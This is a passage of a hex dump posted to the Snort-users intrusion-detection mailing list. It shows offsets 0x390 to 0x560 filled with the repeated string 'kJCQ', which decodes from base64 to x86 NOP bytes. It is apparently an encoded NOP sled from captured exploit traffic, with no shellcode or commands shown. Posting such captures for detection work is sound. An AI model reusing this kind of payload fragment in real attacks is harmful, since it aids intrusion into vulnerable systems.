390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
560 : 6B 4A 43 51                                       kJCQ





More information about the Snort-users mailing list